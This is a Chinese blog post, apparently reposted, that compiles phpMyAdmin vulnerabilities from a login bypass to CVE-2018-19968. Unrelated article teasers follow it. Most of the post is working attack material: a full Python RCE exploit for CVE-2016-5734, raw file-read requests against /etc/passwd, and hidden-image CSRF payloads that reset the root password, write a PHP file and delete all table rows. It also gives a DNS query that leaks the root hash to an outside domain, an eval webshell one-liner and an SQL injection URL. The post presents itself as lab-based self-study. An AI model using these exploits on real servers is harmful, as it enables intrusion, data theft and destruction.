phpmyadmin漏洞汇总

phpmyadmin是一个非常常用的框架,所以学习它的常见漏洞是非常必要的。

参考大佬的文章进行自学:最全phpmyadmin漏洞汇总_phpmyadmin弱口令-CSDN博客

目录

phpmyadmin简介

查看phpmyadmin版本

漏洞及利用

万能密码登入

影响版本

漏洞POC

远程代码执行(CVE-2009-1151)

影响版本

漏洞POC

任意PHP代码(CVE-2012-5159)

漏洞原理

影响版本

漏洞POC

远程PHP代码执行(CVE-2013-3238)

漏洞原理

影响版本

漏洞poc    

任意文件读取漏洞(WooYun-2016-199433)

影响版本

漏洞poc

本地文件包含(CVE-2014 -8959)

 影响版本

漏洞poc

phpmyadmin远程代码执行漏洞(CVE-2016-5734)

漏洞原理

影响版本

漏洞POC

使用方式

修复建议

跨站请求伪造(CVE-2017-1000499)

影响版本

漏洞poc

本地文件包含漏洞(CVE-2018-12613)

漏洞原理

影响版本

漏洞POC

漏洞利用

验证文件包含漏洞

利用Session文件远程代码执行

修复建议

任意文件包含(CVE-2018-19968)

影响版本

漏洞poc

后台SQL注入

影响版本

漏洞poc


 

phpmyadmin简介

phpmyadmin是一个以PHP为基础,以web方式架构在网站主机上的mysql的数据库管理工具,让管理者可用web接口管理mysql数据库,便于远端管理mysql数据库。

查看phpmyadmin版本

在phpmyadmin的url后添加文件路径爆出

/readme
/changelog
/Change
/changelog.php  
/Documetation.html 
/Documetation.txt 
/translators.html
/doc/html/index.html

漏洞及利用

万能密码登入

影响版本

phpmyadmin2.11.9.2

phpmyadmin 2.11.3、2.11.4

漏洞POC

2.11.9.2版本,直接使用root用户登录,无需密码

2.11.3、2.11.4版本,在用户名处输入'localhost'@'@"(注意单引号双引号都是英文标点)。

远程代码执行(CVE-2009-1151)

影响版本

phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

漏洞POC

在配置文件/config/config.inc.php处

​利用模块:msf>> exploit/unix/webapp/phpmyadmin_config

任意PHP代码(CVE-2012-5159)

漏洞原理

文件server_sync.php中包含外部文件导致。

影响版本

phpmyadmin 3.5.2.2

漏洞POC

​利用模块:msf>> exploit/multi/http/phpmyadmin3522_backdoor

远程PHP代码执行(CVE-2013-3238)

漏洞原理

preg_replace()函数可被利用在服务器端执行任意PHP代码

影响版本

phpmyadmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

漏洞poc    

利用模块:msf>> exploit/multi/http/phpmyadminpregreplace

任意文件读取漏洞(WooYun-2016-199433)

影响版本

phpMyAdmin version 2.x版本

漏洞poc

    POST /scripts/setup.php HTTP/1.1Host: target.comAccept-Encoding: gzip, deflate Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

本地文件包含(CVE-2014 -8959)

 影响版本

phpMyAdmin version=4.0.1~4.2.12 && PHP version<5.3.4

漏洞poc

GET /gis_data_editor.php?token=token值&gis_data[gis_type]=/../../../../phpinfo.txt%00 HTTP/1.1 
Host: target.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80

phpmyadmin远程代码执行漏洞(CVE-2016-5734)

漏洞原理

由于PHP代码中的preg_replace函数(该函数是执行一个正则表达式并实现字符串的搜索和替换)中的$pattern的正则表达式中存在修正符。其中一个修正符"/e";在替换字符串中对逆向引用作正常的替换,将其作为PHP代码求值,并用其结果来替换所搜索的字符串。

影响版本

phpmyadmin4.3.0-4.6.2

漏洞POC

#!/usr/bin/env python"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""import requests
import argparse
import sys__author__ = "@iamsecurity"if __name__ == '__main__':parser = argparse.ArgumentParser()parser.add_argument("url", type=str, help="URL with path to PMA")parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")arguments = parser.parse_args()url_to_pma = arguments.urluname = arguments.userupass = arguments.pwdif arguments.dbs:db = arguments.dbselse:db = "test"token = Falsecustom_table = Falseif arguments.table:custom_table = Truetable = arguments.tableelse:table = "prgpwn"if arguments.cmd:payload = arguments.cmdelse:payload = "system('uname -a');"size = 32s = requests.Session()# you can manually add proxy support it's very simple ;)# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}s.verify = Falsesql = '''CREATE TABLE `{0}` (`first` varchar(10) CHARACTER SET utf8 NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));'''.format(table)# get_tokenresp = s.post(url_to_pma + "/?lang=en", dict(pma_username=uname,pma_password=upass))if resp.status_code is 200:token_place = resp.text.find("token=") + 6token = resp.text[token_place:token_place + 32]if token is False:print("Cannot get valid authorization token.")sys.exit(1)if custom_table is False:data = {"is_js_confirmed": "0","db": db,"token": token,"pos": "0","sql_query": sql,"sql_delimiter": ";","show_query": "0","fk_checks": "0","SQL": "Go","ajax_request": "true","ajax_page_request": "true",}resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))if resp.status_code == 200:if "success" in resp.json():if resp.json()["success"] is False:first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]error = first[:first.find("</code>")]if "already exists" in error:print(error)else:print("ERROR: " + error)sys.exit(1)# build exploitexploit = {"db": db,"table": table,"token": token,"goto": "sql.php","find": "0/e\0","replaceWith": payload,"columnIndex": "0","useRegex": "on","submit": "Go","ajax_request": "true"}resp = s.post(url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies))if resp.status_code == 200:result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]if len(result):print("result: " + result)sys.exit(0)print("Exploit failed!\n""Try to manually set exploit parameters like --table, --database and --token.\n""Remember that servers with PHP version greater than 5.4.6"" is not exploitable, because of warning about null byte in regexp")sys.exit(1)

使用方式

python3 phpmyadmin.py -u root -p "root" http://ip:8080 -c "system('id')"

phpmyadmin默认账户、密码为:root、root

修复建议

及时更新至5.0以上版本。

跨站请求伪造(CVE-2017-1000499)

影响版本

Phpmyadmin:4.7.6  
Phpmyadmin:4.7.0:Beta1  
Phpmyadmin:4.7.0:Rc1  
Phpmyadmin:4.7.5  
Phpmyadmin:4.7.4

漏洞poc

Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499# Exploit CSRF - Modifying the password of current user<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" /># Exploit CSRF - Arbitrary File Write<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" /># Exploit CSRF - Data Retrieval over DNSSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));# Exploit CSRF - Empty All Rows From All Tables<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />

本地文件包含漏洞(CVE-2018-12613)

漏洞原理

当服务器开启allow_url_include选项时,就可以通过php的某地特性函数(include()、require()等)去利用url去动态包含文件,造成文件被解析。如果没有对文件来源进行严格的限制,就会导致任意文件读取或者任意命令执行。

还有另一种情况就是代码审计中,代码存在包含文件代码,且包含文件参数可控,也同样会导致任意文件读取。

影响版本

phpmyadmin4.8.0、4.8.0.1、4.8.1

漏洞POC

1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd2.包含Session文件:
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[phpmyadmin的Cookie值]

漏洞利用

这里使用vulhub靶场进行复现利用,vulhub搭建自行搜索。

1、开启靶场环境

cd phpmyadmin/CVE-2018-12613
docker-compose up -d
docker-compose ps

2、访问靶场页面http://ip:8080

验证文件包含漏洞

直接访问poc,读取/etc/passwd文件内容

利用Session文件远程代码执行

1、在phpmyadmin页面执行数据库查询语句,查询内容为php命令

select '<?=phpinfo()?>';

执行后,会在默认路径的tmp文件夹下临时生成session文件名称为sess_session值,并且会将查询语句写入。

2、查看phpmyadmin的session值

3、同样可以写入一句话木马

<?php @eval($_GET['s']);?>

修复建议

更新版本

任意文件包含(CVE-2018-19968)

影响版本

phpmyadmin 4.8.0 - 4.8.3

漏洞poc

1)创建数据库,并将PHP代码写入Session文件中:
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';2)生成foo数据库的phpMyAdmin的配置表,访问:
http://ip:8080/chk_rel.php?fixall_pmadb=1&db=foo3)篡改数据插入pma column_info中:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_[session]','plop';4)访问包含Session文件的地址:
http://ip:8080/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

后台SQL注入

影响版本

phpmyadmin 4 - 4.9.4

phpmyadmin 5 - 5.0.1

漏洞poc

1、首先要已知一个用户名密码(因为要登录后台操作)

2、然后构造payload:

http://ip/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server#token改成自己登录后的Token
#这里使用了报错注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/17056.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【传知代码】无监督动画中关节动画的运动表示(论文复现)

前言&#xff1a;在数字动画的广袤领域中&#xff0c;关节动画以其真实、流畅的运动表现&#xff0c;一直占据着举足轻重的地位。无论是电影中的震撼特效&#xff0c;还是游戏世界的角色互动&#xff0c;关节动画都以其细腻的运动表现&#xff0c;赋予虚拟世界以生动与活力。然…

Excel某列中有不连续的数据,怎么提取数据到新的列?

这里演示使用高级筛选的例子&#xff1a; 1.设置筛选条件 在D2单元格输入公式&#xff1a;COUNTA(A4)>0 这里有两个注意事项&#xff1a; *. 公式是设置在D2单元格&#xff0c;D1单元格保持为空&#xff0c; **. 为什么公式中选A4单元格&#xff0c;A列的第一个数据在A3…

CPU数据传送控制方式

引入 为了实现CPU与I/O设备信息交换的同步 无条件传送 示例1&#xff1a; 示例2&#xff1a; 程序查询方式 引入 工作过程 单个外设 多个外设 特点 中断传送方式 工作过程 特点 DMA 概述 DMAC功能 总线请求信号HOLD 总线请求响应信号HOLDA 工作过程 小结

景源畅信:新手做抖音运营难不难?

在这个信息爆炸的时代&#xff0c;社交媒体平台如抖音已经成为了人们日常生活中不可或缺的一部分。随着抖音的兴起&#xff0c;越来越多的人开始尝试进入这个领域&#xff0c;希望通过抖音运营实现自己的价值。然而&#xff0c;对于新手来说&#xff0c;抖音运营是否真的容易呢…

文心智能体大赛:情深智导

情深智导 概述限制澄清个性化 预览体验 概述 情深向导&#xff0c;致力于为您和您的孩子提供科学、个性化的情感支持与指导。无论您在家庭教育上遇到什么困惑&#xff0c;或是想了解孩子的内心世界&#xff0c;我都会在您身边&#xff0c;与您共同探索&#xff0c;助力亲子关系…

keepalived交叉编译

前言 Keepalived可以实现对服务器的健康检查&#xff0c;当主服务器出现故障时&#xff0c;自动将服务切换到备份服务器上&#xff0c;确保服务的连续性&#xff0c;避免单点故障。它还可以管理一个虚拟 IP 地址&#xff0c;在主备服务器之间进行灵活切换&#xff0c;对外提供…

使用 Python 编程语言进行供应链分析

前言 要分析一家公司的供应链&#xff0c;我们需要供应链不同阶段的数据&#xff0c;如有关采购、制造、运输、库存管理、销售和客户人口统计的数据。我为这项任务找到了一个理想的数据集&#xff0c;其中包括一家时尚和美容初创公司的供应链数据。 1. 相关数据集 让我们导入…

打造坦克游戏:类方法的深入解析

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、引言&#xff1a;坦克游戏与类方法的结合 二、坦克类的属性与方法概述 1. 属性定义与初…

Modbus协议基础

文章目录 Modbus概述Modbus TCP/IP Modbus概述 Modbus是由Modicon&#xff08;现为施耐德电气公司的一个品牌&#xff09;在1979年发明的&#xff0c;是全球第一个真正用于工业现场的应用层总线协议。 为更好地普及和推动Modbus在基于以太网上的分布式应用&#xff0c;目前施…

Ubuntu 安装 LibreOffice

1. 删除预安装的LibreOffice Ubuntu 和其他的 Linux 发行版带有预安装的 LibreOffice。这可能不是最新的&#xff0c;这是因为发行版有特定的发行周期。在进行新安装之前&#xff0c;你可以通过以下命令删除 Ubuntu 及其衍生发行版中的的旧版本。 sudo apt remove –purge li…

vs code怎么补全路径,怎么快捷输入文件路径

安装插件&#xff1a; 链接&#xff1a;https://marketplace.visualstudio.com/items?itemNamejakob101.RelativePath 使用 按住 Ctrl Shift H&#xff0c;弹出窗口&#xff0c;输入文件补全&#xff0c;回车就可以了 排除文件 如果你的项目下文件太多&#xff0c;它会…

基础—SQL—图形化界面工具的DataGrip使用(2)

一、回顾与引言 &#xff08;1&#xff09; 上次内容&#xff0c;博客讲到了DDL语句的数据库操作、表操作、表字段的操作的相关语法&#xff0c;然而之前都是在MySQL的命令行当中去操作演示的。这种方式可以用&#xff0c;但是使用的话&#xff0c;第一&#xff0c;在我们日常…

编译原理 期末复习笔记整理(上)

资料借鉴&#xff1a; 【编译原理】期末复习 零基础自学_哔哩哔哩_bilibili 编译原理笔记 第一章 引论 1.编译原理逻辑过程&#xff1a; 词法分析 语法分析 语义分析 中间代码生成 编译代码生成 2.词法分析 任务: 输入源程序&#xff0c;对…

解决 fatal: Not a git repository (or any of the parent directories): .git 问题

解决方法&#xff1a;在命令行 输入 git init 然后回车就好了

全面解析Java.lang.ClassCastException异常

全面解析Java.lang.ClassCastException异常 全面解析Java.lang.ClassCastException异常&#xff1a;解决方案与最佳实践 &#x1f680;&#x1f4da;摘要引言1. 什么是Java.lang.ClassCastException&#xff1f;代码示例 2. 报错原因2.1 类型不兼容2.2 泛型类型擦除2.3 接口和实…

02 FreeRTOS 任务

1、创建任务函数 1.1 动态内存的使用 在之前我们如果要创建一个与学生有关的任务&#xff0c;我们会定义&#xff1a; //打印50个学生的信息 char name[50][100]; int age[50]; int sex[50]; //1表示男&#xff0c;0表示女 int score[50]; 如果之后要对其进行修改会非常麻烦&…

使用稀疏约束水平集算法对MR图像中的脑肿瘤进行分割| 文献速递-深度学习肿瘤自动分割

Title 题目 Brain tumor segmentation in MR images using a sparse constrained level set algorithm 使用稀疏约束水平集算法对MR图像中的脑肿瘤进行分割" 01 文献速递介绍 脑磁共振&#xff08;MR&#xff09;成像是成像患者脑结构的主要方法&#xff0c;从MR图像…

最后7天,高考翻盘秘籍等你开启!

高考&#xff0c;这场关乎未来的考试&#xff0c;对于每一个学生来说都是一次严峻的挑战。随着倒计时的进行&#xff0c;无数考生和家长的焦虑和期待达到了顶点。在这个最后7天的关键时期&#xff0c;我们为即将参加高考的学生及其家长提供一份复习秘籍&#xff0c;帮助你们抓住…

rfid资产管理系统如何帮助医院管理耗材的

RFID资产管理系统可以帮助医院管理耗材&#xff0c;提高耗材管理的效率和准确性。以下是它可以发挥作用的几个方面&#xff1a; 1. 实时跟踪和定位&#xff1a;使用RFID标签附加在耗材上&#xff0c;可以实时跟踪和定位耗材的位置。医院可以通过系统查询耗材的实时位置&#xf…

微服务八股-分布式事务-注册中心-服务保护

一、分布式事务 1.CAP和BASE 三者不能同时存在。 CP&#xff1a;由于网络分片的存在&#xff0c;如果要保证强一致性就不能写&#xff0c;此时不满足可用性 AP&#xff1a;由于网络分片的存在&#xff0c;如果要保证可用性&#xff0c;能读也能写&#xff0c;就不能保证强一致…